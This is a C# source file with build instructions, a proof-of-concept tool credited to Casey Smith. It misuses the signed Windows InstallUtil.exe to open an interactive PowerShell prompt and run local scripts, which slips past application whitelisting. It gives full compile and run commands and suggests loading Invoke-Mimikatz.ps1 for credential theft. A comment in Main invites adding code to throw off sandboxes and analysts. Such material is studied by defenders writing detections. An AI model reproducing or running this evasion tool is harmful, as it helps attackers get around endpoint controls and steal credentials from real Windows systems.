Invoke Interactive PowerShell and Run Local Scripts Inside InstallUtil

pshell.cs

using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;

/*
Author: Casey Smith, Twitter: @subTee

License: BSD 3-Clause
Step One: 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe  /reference:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:pshell.dll pshell.cs
OR 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe  /reference:"C:\Program Files\Reference Assemblies\Microsoft\WindowsPowerShell\v1.0\System.Management.Automation.dll" /out:pshell.dll pshell.cs

Step Two:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U pshell.dll

[Optional] Add Local Script Path
/ScriptPath="C:\Tools\Invoke-Mimikatz.ps1"	


*/

public class Program
{
	public static void Main()
	{
		Console.WriteLine("Hello From Main...I Don't Do Anything");
		//Add any behaviour here to throw off sandbox execution/analysts :)
		
	}
	
}

[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
	//The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
	public override void Uninstall(System.Collections.IDictionary savedState)
	{
		//Console.BackgroundColor = ConsoleColor.DarkBlue;
		//Console.ForegroundColor = ConsoleColor.White;
		if(Context.Parameters["ScriptPath"] != null) 
			{
				string s = File.ReadAllText(Context.Parameters["ScriptPath"]);
				RunPSFile(s);
			}
		
		while(true)
		{
			
			Console.Write("PS >");
			string x = Console.ReadLine();
			try
			{
				Console.WriteLine(RunPSCommand(x));
			}
			catch (Exception e)
			{
				Console.WriteLine(e.Message);
			}
		}
		
	}
	
	//Based on Jared Atkinson's And Justin Warner's Work
	public static string RunPSCommand(string cmd)
	{
		//Init stuff
		Runspace runspace = RunspaceFactory.CreateRunspace();
		runspace.Open();
		RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
		Pipeline pipeline = runspace.CreatePipeline();

		//Add commands
		pipeline.Commands.AddScript(cmd);

		//Prep PS for string output and invoke
		pipeline.Commands.Add("Out-String");
		Collection<PSObject> results = pipeline.Invoke();
		runspace.Close();

		//Convert records to strings
		StringBuilder stringBuilder = new StringBuilder();
		foreach (PSObject obj in results)
		{
			stringBuilder.Append(obj);
		}
		return stringBuilder.ToString().Trim();
	 }
	 
	 public static void RunPSFile(string script)
	{
		PowerShell ps = PowerShell.Create();
		ps.AddScript(script).Invoke();
	}
}